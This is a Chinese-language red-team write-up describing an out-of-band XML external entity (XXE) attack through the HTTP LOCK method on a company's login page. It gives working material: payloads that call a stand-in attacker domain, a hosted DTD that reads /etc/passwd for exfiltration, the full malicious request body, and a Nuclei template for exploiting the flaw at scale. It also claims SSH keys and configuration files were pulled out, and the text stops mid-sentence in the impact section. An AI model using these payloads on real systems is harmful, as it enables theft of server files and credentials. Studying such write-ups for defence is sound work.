本文将通过HTTP锁定方法介绍我在Red Teaming Engagement期间在中发现的一个有趣的带外XXEProduct Based Company漏洞之一,并大规模利用了该漏洞。
如今手法许多类别、例如网络威胁情报,内部对手模拟,外部对手模拟,社会工程学,深层Web /暗网暴露,OSINT,网络钓鱼等。
此漏洞是在“外部攻击者模拟”类别中发现的,该 类别用来测试Web应用程序和网络资产,以查找关键的服务器端错误,以便我们可以窃取数据以取得初步立足点。
步骤1:使用客户端代理(例如Burp Suite)拦截登录请求,如下所示
步骤2:开始检查使用OPTIONS在应用程序中启用的不同HTTP方法
从上图可以看出,应用程序没有任何反应,得到了与GET方法相同的响应。
步骤3:删除login.jsp并提供一个不存在的值(测试)后,它显示了应用程序允许的不同HTTP方法
步骤4:尝试了PUT方法并返回了403 forbidden error,但是当我尝试LOCK方法时,它显示了一些XML数据作为输出,如下所示
步骤5:因此,我开始使用基本有效负载测试OOB-XXE,如下所示
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://youripaddress.com"> %xxe; ]>
注意:我们从服务器获得了HTTP和DNS命中。
步骤6:由于是Out-Of-Band XXE,请按照以下步骤设置环境
注意:我们需要将DTD文件托管在Web服务器上。在这里,我们在云上使用了一个简单的Web服务器,将域yourdomainname.com指向服务器的公共IP地址,并将文件托管exploited.dtd在服务器上。
内容exploited.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">
请求正文发送到易受攻击的URL:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
%xxe;
%ext;
]>
<foo><u>
&exfil;
</u></foo>
步骤7:现在有趣的事情开始了,我们能够提取并读取不同的目录文件和敏感信息,例如备份文件,配置文件,ssh密钥和访问日志等
id: XXE on XXXX Login
info:
name: XML External Entity-XXXX
author: dhiyaneshDk
severity: high
requests:
- raw:
- |
LOCK /xxxx/test HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 178
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
%xxe;
%ext;
]>
<foo><u>
&exfil
</u></foo>
matchers-condition: and
matchers:
- type: status
status:
- 500
- type: word
words:
- '/root:x:0:0:root:/root:/bin/bash'
part: body
影响 :
XXE漏洞可能使攻击者将XML解析器转换为代理,该代理允许根据请求提供本地和远程内容。它允许攻击者执行以下操作: